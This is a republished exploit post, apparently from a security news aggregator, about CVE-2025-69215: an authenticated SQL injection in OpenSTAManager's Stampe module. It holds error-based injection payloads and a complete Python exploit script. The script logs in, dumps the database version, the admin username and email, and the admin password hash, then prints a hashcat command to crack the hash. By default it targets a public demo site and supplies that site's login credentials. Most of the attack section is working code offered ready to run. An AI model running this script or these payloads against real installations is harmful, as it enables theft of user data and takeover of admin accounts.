{"id":46310,"date":"2026-04-13T11:50:34","date_gmt":"2026-04-13T11:50:34","guid":{"rendered":"http:\/\/localhost\/?p=46310"},"modified":"2026-04-13T11:50:34","modified_gmt":"2026-04-13T11:50:34","slug":"openstamanager-298-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=46310","title":{"rendered":"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:50:03&#8243;,&#8221;description&#8221;:&#8221;OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in the Stampe module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218750&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69215&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-69215: OpenSTAManager has an SQL Injection in the Stampe Module\\n    \\n    ## Overview\\n    \\n    | Field | Details |\\n    |&#8212;|&#8212;|\\n    | **CVE ID** | [CVE-2025-69215](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-69215) |\\n    | **Severity** | HIGH |\\n    | **Advisory** | [View Advisory](https:\/\/github.com\/devcode-it\/openstamanager\/security\/advisories\/GHSA-qx9p-w3vj-q24q) |\\n    | **Discovered by** | [Lukasz Rybak](https:\/\/github.com\/lukasz-rybak) |\\n    \\n    ## Affected Products\\n    \\n    &#8211; **devcode-it\/openstamanager** (versions: \\u003c= 2.9.8)\\n    \\n    \\n    ## CWE Classification\\n    \\n    &#8211; CWE-89: Improper Neutralization of Special Elements used in an SQL Command (&#8216;SQL Injection&#8217;)\\n    \\n    ## Details\\n    \\n    ## Vulnerability Details\\n    \\n    ### Location\\n    &#8211; **File:** `modules\/stampe\/actions.php`\\n    &#8211; **Line:** 26\\n    &#8211; **Vulnerable Code:**\\n    &#8220;`php\\n    case &#8216;update&#8217;:\\n        if (!empty(intval(post(&#8216;predefined&#8217;))) \\u0026\\u0026 !empty(post(&#8216;module&#8217;))) {\\n            $dbo-\\u003equery(&#8216;UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = &#8216;.post(&#8216;module&#8217;));\\n            \/\/ \u2191 Direct concatenation without prepare() sanitization\\n        }\\n    &#8220;`\\n    \\n    ### Root Cause\\n    \\n    The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\\n    \\n    **Vulnerable Pattern:**\\n    &#8220;`php\\n    \/\/ Line 25: intval() protects predefined, but module is not sanitized!\\n    if (!empty(intval(post(&#8216;predefined&#8217;))) \\u0026\\u0026 !empty(post(&#8216;module&#8217;))) {\\n        \/\/ Line 26: Direct concatenation &#8211; VULNERABLE\\n        $dbo-\\u003equery(&#8216;UPDATE &#8230; WHERE `id_module` = &#8216;.post(&#8216;module&#8217;));\\n    }\\n    &#8220;`\\n    \\n    ## Exploitation\\n    ### Vulnerable Endpoint\\n    &#8220;`\\n    POST \/modules\/stampe\/actions.php\\n    &#8220;`\\n    \\n    ### Required Parameters\\n    &#8220;`\\n    op=update\\n    id_record=1\\n    predefined=1 (must be non-zero after intval())\\n    module=[INJECTION_PAYLOAD]\\n    title=Test\\n    filename=test.pdf\\n    &#8220;`\\n    \\n    ### Authentication Requirement\\n    &#8211; Requires valid authenticated session (any user with access to Stampe module)\\n    &#8211; **VERIFIED:** Users with \\&#8221;Tecnici\\&#8221; group access can exploit (NOT admin-only!)\\n    &#8211; **PoC:** Demo at https:\/\/demo.osmbusiness.it with credentials tecnico\/tecnicotecnico\\n    \\n    ### Exploitation Type\\n    **Error-based SQL Injection** using MySQL&#8217;s EXTRACTVALUE\/UPDATEXML\/GTID_SUBSET functions\\n    \\n    ### Proof of Concept\\n    \\n    #### Method 1: EXTRACTVALUE (MySQL 5.1+)\\n    &#8220;`python\\n    POST \/modules\/stampe\/actions.php\\n    Content-Type: application\/x-www-form-urlencoded\\n    \\n    op=update\\u0026id_record=1\\u0026predefined=1\\u0026module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))\\u0026title=Test\\u0026filename=test.pdf\\n    &#8220;`\\n    \\n    **Result:**\\n    \\n    \\u003cimg width=\\&#8221;2208\\&#8221; height=\\&#8221;912\\&#8221; alt=\\&#8221;image\\&#8221; src=\\&#8221;https:\/\/github.com\/user-attachments\/assets\/710595e8-5cfb-4392-87a5-0b567487af34\\&#8221; \/\\u003e\\n    \\n    **Extracted Data:** MySQL version `8.3.0`\\n    \\n    &#8212;\\n    \\n    #### Method 2: GTID_SUBSET (MySQL 5.6+)\\n    &#8220;`python\\n    module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\\n    &#8220;`\\n    \\n    **Result:**\\n    \\n    \\u003cimg width=\\&#8221;2025\\&#8221; height=\\&#8221;903\\&#8221; alt=\\&#8221;image\\&#8221; src=\\&#8221;https:\/\/github.com\/user-attachments\/assets\/eb2b4210-5301-4b3c-81b0-495eaec27af8\\&#8221; \/\\u003e\\n    \\n    \\n    **Extracted Data:** Database name `openstamanager`\\n    \\n    &#8212;\\n    \\n    #### Method 3: UPDATEXML (MySQL 5.1+)\\n    &#8220;`python\\n    module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\\n    &#8220;`\\n    \\n    **Result:**\\n    \\n    \\u003cimg width=\\&#8221;2027\\&#8221; height=\\&#8221;897\\&#8221; alt=\\&#8221;image\\&#8221; src=\\&#8221;https:\/\/github.com\/user-attachments\/assets\/a364951d-566b-4c86-9467-35352bd22c43\\&#8221; \/\\u003e\\n    \\n    **Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\\n    \\n    &#8212;\\n    \\n    ### Automated Exploitation\\n    \\n    **Full Exploit Script:** `exploit_stampe_sqli.py`\\n    \\n    &#8220;`python\\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    SQL Injection Exploit &#8211; OpenSTAManager modules\/stampe\/actions.php\\n    \\n    Usage:\\n        python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\\n        python3 exploit_stampe_demo.py -u admin -p admin123 &#8211;url https:\/\/custom.osm.local\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import requests\\n    import re\\n    import argparse\\n    import sys\\n    from html import unescape\\n    from urllib.parse import urljoin\\n    \\n    class StampeSQLiExploit:\\n        def __init__(self, base_url, username, password, verbose=False):\\n            self.base_url = base_url.rstrip(&#8216;\/&#8217;)\\n            self.username = username\\n            self.password = password\\n            self.verbose = verbose\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0&#8217;\\n            })\\n    \\n        def login(self):\\n            \\&#8221;\\&#8221;\\&#8221;Authenticate with username and password\\&#8221;\\&#8221;\\&#8221;\\n            login_url = urljoin(self.base_url, &#8216;\/index.php&#8217;)\\n    \\n            if self.verbose:\\n                print(f\\&#8221;[DEBUG] Attempting login to {login_url}\\&#8221;)\\n                print(f\\&#8221;[DEBUG] Username: {self.username}\\&#8221;)\\n    \\n            # First, get the login page to establish session\\n            resp = self.session.get(login_url)\\n            if self.verbose:\\n                print(f\\&#8221;[DEBUG] Initial GET status: {resp.status_code}\\&#8221;)\\n    \\n            # Send login credentials with op=login parameter (required!)\\n            login_data = {\\n                &#8216;username&#8217;: self.username,\\n                &#8216;password&#8217;: self.password,\\n                &#8216;op&#8217;: &#8216;login&#8217;,  # Required for OpenSTAManager\\n            }\\n    \\n            resp = self.session.post(login_url, data=login_data, allow_redirects=True)\\n    \\n            if self.verbose:\\n                print(f\\&#8221;[DEBUG] Login POST status: {resp.status_code}\\&#8221;)\\n                print(f\\&#8221;[DEBUG] Cookies: {self.session.cookies.get_dict()}\\&#8221;)\\n    \\n            # Check if login was successful\\n            if &#8216;PHPSESSID&#8217; not in self.session.cookies:\\n                print(\\&#8221;[-] Login failed: No session cookie received\\&#8221;)\\n                return False\\n    \\n            # Check if we&#8217;re redirected to dashboard or still on login page\\n            if &#8216;username&#8217; in resp.text.lower() and &#8216;password&#8217; in resp.text.lower() and &#8216;login&#8217; in resp.url.lower():\\n                print(\\&#8221;[-] Login failed: Still on login page\\&#8221;)\\n                if self.verbose:\\n                    print(f\\&#8221;[DEBUG] Current URL: {resp.url}\\&#8221;)\\n                return False\\n    \\n            print(f\\&#8221;[+] Successfully logged in as &#8216;{self.username}&#8217;\\&#8221;)\\n            print(f\\&#8221;[+] Session: {self.session.cookies.get(&#8216;PHPSESSID&#8217;)}\\&#8221;)\\n            return True\\n    \\n        def inject(self, sql_query):\\n            \\&#8221;\\&#8221;\\&#8221;Execute SQL injection payload\\&#8221;\\&#8221;\\&#8221;\\n            # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\\n            payload = f\\&#8221;14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\\&#8221;\\n    \\n            target_url = urljoin(self.base_url, &#8216;\/modules\/stampe\/actions.php&#8217;)\\n    \\n            if self.verbose:\\n                print(f\\&#8221;[DEBUG] Target: {target_url}\\&#8221;)\\n                print(f\\&#8221;[DEBUG] Payload: {payload}\\&#8221;)\\n    \\n            response = self.session.post(\\n                target_url,\\n                data={\\n                    \\&#8221;op\\&#8221;: \\&#8221;update\\&#8221;,\\n                    \\&#8221;id_record\\&#8221;: \\&#8221;1\\&#8221;,\\n                    \\&#8221;predefined\\&#8221;: \\&#8221;1\\&#8221;,\\n                    \\&#8221;module\\&#8221;: payload,\\n                    \\&#8221;title\\&#8221;: \\&#8221;Test\\&#8221;,\\n                    \\&#8221;filename\\&#8221;: \\&#8221;test.pdf\\&#8221;\\n                }\\n            )\\n    \\n            if self.verbose:\\n                print(f\\&#8221;[DEBUG] Response status: {response.status_code}\\&#8221;)\\n                print(f\\&#8221;[DEBUG] Response length: {len(response.text)}\\&#8221;)\\n    \\n            # Unescape HTML entities first\\n            response_text = unescape(response.text)\\n    \\n            # Pattern 1: XPATH syntax error with HTML entities or quotes\\n            # Matches: XPATH syntax error: &#8216;~data~&#8217; or \\u0026#039;~data~\\u0026#039;\\n            xpath_match = re.search(r\\&#8221;XPATH syntax error:\\\\s*[&#8216;\\\\\\&#8221;]?~([^~]+)~[&#8216;\\\\\\&#8221;]?\\&#8221;, response_text, re.IGNORECASE)\\n            if xpath_match:\\n                result = xpath_match.group(1)\\n                if self.verbose:\\n                    print(f\\&#8221;[DEBUG] Extracted via XPATH pattern: {result}\\&#8221;)\\n                return result\\n    \\n            # Pattern 2: Look in HTML comments (demo puts errors in comments)\\n            # \\u003c!&#8211;&#8230;XPATH syntax error: &#8216;~data~&#8217;&#8230;&#8211;\\u003e\\n            comment_match = re.search(r\\&#8221;\\u003c!&#8211;.*?XPATH syntax error:\\\\s*[&#8216;\\\\\\&#8221;]?~([^~]+)~[&#8216;\\\\\\&#8221;]?.*?&#8211;\\u003e\\&#8221;, response_text, re.DOTALL | re.IGNORECASE)\\n            if comment_match:\\n                result = comment_match.group(1)\\n                if self.verbose:\\n                    print(f\\&#8221;[DEBUG] Extracted from HTML comment: {result}\\&#8221;)\\n                return result\\n    \\n            # Pattern 3: \\u003ccode\\u003e tags\\n            codes = re.findall(r&#8217;\\u003ccode\\u003e(.*?)\\u003c\/code\\u003e&#8217;, response_text, re.DOTALL)\\n            for code in codes:\\n                clean = code.strip()\\n                if &#8216;XPATH syntax error&#8217; in clean or &#8216;SQLSTATE&#8217; in clean:\\n                    match = re.search(r\\&#8221;~([^~]+)~\\&#8221;, clean)\\n                    if match:\\n                        result = match.group(1)\\n                        if self.verbose:\\n                            print(f\\&#8221;[DEBUG] Extracted from \\u003ccode\\u003e: {result}\\&#8221;)\\n                        return result\\n    \\n            # Pattern 4: PDOException error format (as shown in user&#8217;s example)\\n            # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &#8216;~data~&#8217;\\n            pdo_match = re.search(r\\&#8221;PDOException:.*?XPATH syntax error:\\\\s*[&#8216;\\\\\\&#8221;]?~([^~]+)~[&#8216;\\\\\\&#8221;]?\\&#8221;, response_text, re.IGNORECASE | re.DOTALL)\\n            if pdo_match:\\n                result = pdo_match.group(1)\\n                if self.verbose:\\n                    print(f\\&#8221;[DEBUG] Extracted from PDOException: {result}\\&#8221;)\\n                return result\\n    \\n            # Pattern 5: Generic ~&#8230;~ markers (last resort)\\n            markers = re.findall(r&#8217;~([^~]{1,100})~&#8217;, response_text)\\n            if markers:\\n                if self.verbose:\\n                    print(f\\&#8221;[DEBUG] Found generic markers: {markers}\\&#8221;)\\n                # Filter out HTML\/CSS junk\\n                for marker in markers:\\n                    if marker and len(marker) \\u003e 2:\\n                        # Skip common HTML patterns\\n                        if not any(x in marker.lower() for x in [&#8216;button&#8217;, &#8216;icon&#8217;, &#8216;fa-&#8216;, &#8216;class&#8217;, &#8216;div&#8217;, &#8216;span&#8217;, &#8216;\\u003c&#8217;, &#8216;\\u003e&#8217;]):\\n                            if self.verbose:\\n                                print(f\\&#8221;[DEBUG] Using marker: {marker}\\&#8221;)\\n                            return marker\\n    \\n            if self.verbose:\\n                print(\\&#8221;[DEBUG] No data extracted from response\\&#8221;)\\n                # Save response for debugging\\n                with open(&#8216;\/tmp\/stampe_response_debug.html&#8217;, &#8216;w&#8217;) as f:\\n                    f.write(response.text)\\n                print(\\&#8221;[DEBUG] Response saved to \/tmp\/stampe_response_debug.html\\&#8221;)\\n    \\n            return None\\n    \\n        def dump_info(self):\\n            \\&#8221;\\&#8221;\\&#8221;Dump database information\\&#8221;\\&#8221;\\&#8221;\\n            queries = [\\n                (\\&#8221;Database Version\\&#8221;, \\&#8221;VERSION()\\&#8221;),\\n                (\\&#8221;Database Name\\&#8221;, \\&#8221;DATABASE()\\&#8221;),\\n                (\\&#8221;Current User\\&#8221;, \\&#8221;USER()\\&#8221;),\\n                (\\&#8221;Admin Username\\&#8221;, \\&#8221;SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\\&#8221;),\\n                (\\&#8221;Admin Email\\&#8221;, \\&#8221;SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\\&#8221;),\\n                (\\&#8221;Admin Password Hash (1-30)\\&#8221;, \\&#8221;SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\\&#8221;),\\n                (\\&#8221;Admin Password Hash (31-60)\\&#8221;, \\&#8221;SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\\&#8221;),\\n                (\\&#8221;Total Users\\&#8221;, \\&#8221;SELECT COUNT(*) FROM zz_users\\&#8221;),\\n                (\\&#8221;First Table\\&#8221;, \\&#8221;SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\\&#8221;),\\n            ]\\n    \\n            print(\\&#8221;=\\&#8221;*70)\\n            print(\\&#8221; EXPLOITING SQL INJECTION &#8211; DATA EXTRACTION\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*70)\\n            print()\\n    \\n            results = {}\\n            for desc, query in queries:\\n                print(f\\&#8221;[*] Extracting: {desc}\\&#8221;)\\n                print(f\\&#8221;    Query: {query}\\&#8221;)\\n                result = self.inject(query)\\n                if result:\\n                    print(f\\&#8221;    \u2713 Result: {result}\\&#8221;)\\n                    results[desc] = result\\n                else:\\n                    print(f\\&#8221;    \u2717 Failed to extract\\&#8221;)\\n                print()\\n    \\n            return results\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=&#8217;OpenSTAManager Stampe Module SQL Injection Exploit&#8217;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=&#8221;&#8217;\\n    Examples:\\n      # Exploit demo.osmbusiness.it with tecnico user\\n      python3 %(prog)s -u tecnico -p tecnicotecnico\\n    \\n      # Exploit demo with admin credentials\\n      python3 %(prog)s -u admin -p admin123\\n    \\n      # Exploit custom installation with verbose output\\n      python3 %(prog)s -u tecnico -p pass123 &#8211;url https:\/\/erp.company.com -v\\n            &#8221;&#8217;\\n        )\\n    \\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, required=True,\\n                            help=&#8217;Username for authentication&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, required=True,\\n                            help=&#8217;Password for authentication&#8217;)\\n        parser.add_argument(&#8216;&#8211;url&#8217;, default=&#8217;https:\/\/demo.osmbusiness.it&#8217;,\\n                            help=&#8217;Base URL of OpenSTAManager (default: https:\/\/demo.osmbusiness.it)&#8217;)\\n        parser.add_argument(&#8216;-v&#8217;, &#8216;&#8211;verbose&#8217;, action=&#8217;store_true&#8217;,\\n                            help=&#8217;Enable verbose output for debugging&#8217;)\\n    \\n        args = parser.parse_args()\\n    \\n        print(\\&#8221;\u2554\\&#8221; + \\&#8221;=\\&#8221;*68 + \\&#8221;\u2557\\&#8221;)\\n        print(\\&#8221;\u2551  SQL Injection Exploit &#8211; OpenSTAManager Stampe Module          \u2551\\&#8221;)\\n        print(\\&#8221;\u2551  CVE-PENDING | Authenticated Error-Based SQLi                 \u2551\\&#8221;)\\n        print(\\&#8221;\u255a\\&#8221; + \\&#8221;=\\&#8221;*68 + \\&#8221;\u255d\\&#8221;)\\n        print()\\n        print(f\\&#8221;[*] Target: {args.url}\\&#8221;)\\n        print(f\\&#8221;[*] Username: {args.username}\\&#8221;)\\n        print()\\n    \\n        exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\\n    \\n        # Login first\\n        if not exploit.login():\\n            print(\\&#8221;\\\\n[-] Authentication failed. Cannot proceed with exploitation.\\&#8221;)\\n            print(\\&#8221;[!] Please check:\\&#8221;)\\n            print(\\&#8221;    1. Are the credentials correct?\\&#8221;)\\n            print(\\&#8221;    2. Is the target URL accessible?\\&#8221;)\\n            print(\\&#8221;    3. Is the user account active?\\&#8221;)\\n            sys.exit(1)\\n    \\n        print()\\n    \\n        # Extract data\\n        results = exploit.dump_info()\\n    \\n        # Summary\\n        print(\\&#8221;=\\&#8221;*70)\\n        print(\\&#8221; EXTRACTION SUMMARY\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*70)\\n        print()\\n    \\n        if results:\\n            for key, value in results.items():\\n                print(f\\&#8221;  {key:.\\u003c40} {value}\\&#8221;)\\n    \\n            # If we got admin password hash, combine it\\n            if \\&#8221;Admin Password Hash (1-30)\\&#8221; in results and \\&#8221;Admin Password Hash (31-60)\\&#8221; in results:\\n                full_hash = results[\\&#8221;Admin Password Hash (1-30)\\&#8221;] + results[\\&#8221;Admin Password Hash (31-60)\\&#8221;]\\n                print()\\n                print(\\&#8221;  \\&#8221; + \\&#8221;=\\&#8221;*66)\\n                print(f\\&#8221;  Full Admin Password Hash: {full_hash}\\&#8221;)\\n                print(\\&#8221;  \\&#8221; + \\&#8221;=\\&#8221;*66)\\n                print()\\n                print(\\&#8221;  [!] Crack with hashcat:\\&#8221;)\\n                print(f\\&#8221;      hashcat -m 3200 &#8216;{full_hash}&#8217; wordlist.txt\\&#8221;)\\n        else:\\n            print(\\&#8221;  \u2717 No data extracted\\&#8221;)\\n            if not args.verbose:\\n                print(\\&#8221;\\\\n  [!] Try running with -v flag for debugging information\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\n    &#8220;`\\n    \\n    ### Attribution\\n    Reported by \u0141ukasz Rybak\\n    \\n    ## References\\n    \\n    &#8211; https:\/\/github.com\/devcode-it\/openstamanager\/security\/advisories\/GHSA-qx9p-w3vj-q24q\\n    &#8211; https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-69215\\n    &#8211; https:\/\/github.com\/advisories\/GHSA-qx9p-w3vj-q24q\\n    \\n    \\n    ## Disclaimer\\n    \\n    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/218750&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/218750\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:50:03&#8243;,&#8221;description&#8221;:&#8221;OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in the Stampe module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218750&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69215&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-69215: OpenSTAManager has an SQL&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-46310","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=46310\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:50:03&#8243;,&#8221;description&#8221;:&#8221;OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in the Stampe module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218750&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69215&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-69215: OpenSTAManager has an SQL...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=46310\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-13T11:50:34+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750\",\"datePublished\":\"2026-04-13T11:50:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310\"},\"wordCount\":2229,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=46310#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310\",\"name\":\"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-13T11:50:34+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=46310\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46310#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero 